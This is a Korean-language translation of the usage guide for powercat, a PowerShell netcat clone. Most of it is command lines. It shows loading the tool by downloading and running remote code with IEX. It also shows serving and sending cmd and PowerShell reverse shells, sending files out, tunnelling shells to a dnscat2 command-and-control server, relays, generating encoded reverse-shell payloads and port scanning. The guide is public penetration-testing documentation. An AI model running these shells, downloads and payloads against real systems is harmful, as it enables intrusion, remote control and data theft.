
netshell은 버전 2 PowerShell의 모든 기능을 포함합니다.
Netcat: 파워셸 버전. (파워셸 버전 2 이상 지원)
powercat은 파워셸 함수입니다. 먼저 함수를 로드한 후에 실행할 수 있습니다. 아래 명령어 중 하나를 파워셸 프로필에 추가하면 파워셸 시작 시 powercat이 자동으로 로드됩니다.
Load The Function From Downloaded .ps1 File:
. .\powercat.ps1
Load The Function From URL:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
-l 연결을 수신합니다. [Switch]
-c 리스너에 연결합니다. [String]
-p 연결하거나 수신할 포트. [String]
-e 실행합니다. (GAPING_SECURITY_HOLE) [String]
-ep 파워셸을 실행합니다. [Switch]
-r 릴레이. 형식: "-r tcp:10.1.1.1:443" [String]
-u 데이터를 UDP로 전송합니다. [Switch]
-dns 데이터를 DNS로 전송합니다 (dnscat2). [String]
-dnsft DNS 실패 임계값. [int32]
-t 시간 초과 옵션. 기본값: 60 [int32]
-i 입력: 파일 경로 (문자열), 바이트 배열 또는 문자열. [object]
-o 콘솔 출력 유형: "Host", "Bytes" 또는 "String" [String]
-of 출력 파일 경로. [String]
-d 연결 후 연결 해제. [Switch]
-rep 리피터. 연결 해제 후 다시 시작합니다. [Switch]
-g 페이로드 생성. [Switch]
-ge 인코딩된 페이로드 생성. [Switch]
-h 도움말 메시지를 출력합니다. [Switch]
기본적으로 powercat은 콘솔에서 입력을 읽고 write-host를 사용하여 콘솔에 입력을 기록합니다. -o 옵션을 사용하여 출력 유형을 'Bytes' 또는 'String'으로 변경할 수 있습니다.
Basic Client:
powercat -c 10.1.1.1 -p 443
Basic Listener:
powercat -l -p 8000
Basic Client, Output as Bytes:
powercat -c 10.1.1.1 -p 443 -o Bytes
powercat을 사용하면 -i(입력) 및 -of(출력 파일)를 사용하여 파일을 주고받을 수 있습니다.
Send File:
powercat -c 10.1.1.1 -p 443 -i C:\inputfile
Recieve File:
powercat -l -p 8000 -of C:\inputfile
powercat을 사용하여 셸을 보내거나 제공할 수 있습니다. -e에 실행 파일을 지정하거나 -ep를 사용하여 파워셸을 실행하세요.
Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
powercat -c 10.1.1.1 -p 443 -e cmd
Serve a shell which executes powershell commands:
powercat -l -p 443 -ep
powercat은 TCP를 통한 데이터 전송 외에도 더 많은 기능을 지원합니다. -u를 지정하여 UDP 모드를 활성화할 수 있습니다. -dns를 사용하여 dnscat2 서버로 데이터를 보낼 수도 있습니다. dnscat2 서버를 실행할 때 "-e open --no-cache"를 추가해야 합니다.
Send Data Over UDP:
powercat -c 10.1.1.1 -p 8000 -u
powercat -l -p 8000 -u
Connect to the c2.example.com dnscat2 server using the DNS server on 10.1.1.1:
powercat -c 10.1.1.1 -p 53 -dns c2.example.com
Send a shell to the c2.example.com dnscat2 server using the default DNS server in Windows:
powercat -dns c2.example.com -e cmd
powercat의 릴레이는 기존 netcat 릴레이와 동일하게 작동하지만, 파일을 만들거나 두 번째 프로세스를 시작할 필요가 없습니다. 또한 다른 프로토콜의 연결 간에 데이터를 중계할 수 있습니다.
TCP Listener to TCP Client Relay:
powercat -l -p 8000 -r tcp:10.1.1.16:443
TCP Listener to UDP Client Relay:
powercat -l -p 8000 -r udp:10.1.1.16:53
TCP Listener to DNS Client Relay
powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
TCP Listener to DNS Client Relay using the Windows Default DNS Server
powercat -l -p 8000 -r dns:::c2.example.com
TCP Client to Client Relay
powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443
TCP Listener to Listener Relay
powercat -l -p 8000 -r tcp:9000
특정 작업을 수행하는 페이로드는 -g(페이로드 생성) 및 -ge(인코딩된 페이로드 생성)를 사용하여 생성할 수 있습니다. 인코딩된 페이로드는 powershell -E로 실행할 수 있습니다. powercat의 모든 기능을 사용하지 않으려면 이를 사용할 수 있습니다.
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
Generate a bind tcp encoded command which listens on port 8000:
powercat -l -p 8000 -e cmd -ge
powercat은 포트 스캔을 수행하고 지속적인 서버를 시작하는 데에도 사용할 수 있습니다.
Basic TCP Port Scanner:
(21,22,80,443) | % {powercat -c 10.1.1.10 -p $_ -t 1 -Verbose -d}
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep